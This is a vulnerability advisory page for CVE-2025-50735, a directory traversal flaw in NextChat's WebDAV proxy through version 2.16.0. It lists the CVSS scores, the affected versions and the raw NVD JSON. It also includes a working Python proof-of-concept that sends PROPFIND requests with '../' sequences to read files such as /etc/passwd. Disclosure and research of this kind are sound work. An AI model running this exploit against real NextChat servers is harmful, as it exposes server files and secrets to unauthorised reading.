Security Vulnerability Report
中文
CVE-2025-50735 CVSS 7.5 HIGH

CVE-2025-50735

Published: 2025-11-03 20:19:13
Last Modified: 2025-11-05 18:53:53

Description

Directory traversal vulnerability in NextChat thru 2.16.0 due to the WebDAV proxy failing to canonicalize or reject dot path segments in its catch-all route, allowing attackers to gain sensitive information via authenticated or anonymous WebDAV endpoints.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:nextchat:nextchat:*:*:*:*:*:*:*:* - VULNERABLE
NextChat <= 2.16.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-50735 PoC - NextChat WebDAV Directory Traversal # Target: NextChat <= 2.16.0 def exploit(target_url, file_path): """ Exploit directory traversal in NextChat WebDAV proxy Args: target_url: Base URL of vulnerable NextChat instance file_path: Path to file to read (e.g., '../../../etc/passwd') """ # Construct malicious WebDAV request with path traversal # The vulnerable endpoint is /api/webdav/[...path] traversal_path = '../../../' + file_path exploit_url = f"{target_url.rstrip('/')}/api/webdav/{traversal_path}" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*', 'Destination': f'http://localhost/{traversal_path}' } try: # Send PROPFIND request (WebDAV method) response = requests.request('PROPFIND', exploit_url, headers=headers, timeout=10) print(f"[*] Request URL: {exploit_url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") if response.status_code == 207 or response.status_code == 200: print("[+] Successfully retrieved file contents!") return True else: print("[-] Exploitation failed or file not accessible") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://localhost:3000 /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50735", "sourceIdentifier": "[email protected]", "published": "2025-11-03T20:19:12.553", "lastModified": "2025-11-05T18:53:52.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Directory traversal vulnerability in NextChat thru 2.16.0 due to the WebDAV proxy failing to canonicalize or reject dot path segments in its catch-all route, allowing attackers to gain sensitive information via authenticated or anonymous WebDAV endpoints."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextchat:nextchat:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.16.0", "matchCriteriaId": "B85AC688-0C21-4E9C-89E3-B44321066B60"}]}]}], "references": [{"url": "https://github.com/ChatGPTNextWeb/NextChat/blob/main/app/api/webdav/%5B...path%5D/route.ts", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ChatGPTNextWeb/NextChat/blob/main/app/utils/cloud/webdav.ts", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/fai1424/Vulnerability-Research/tree/main/CVE-2025-50735", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}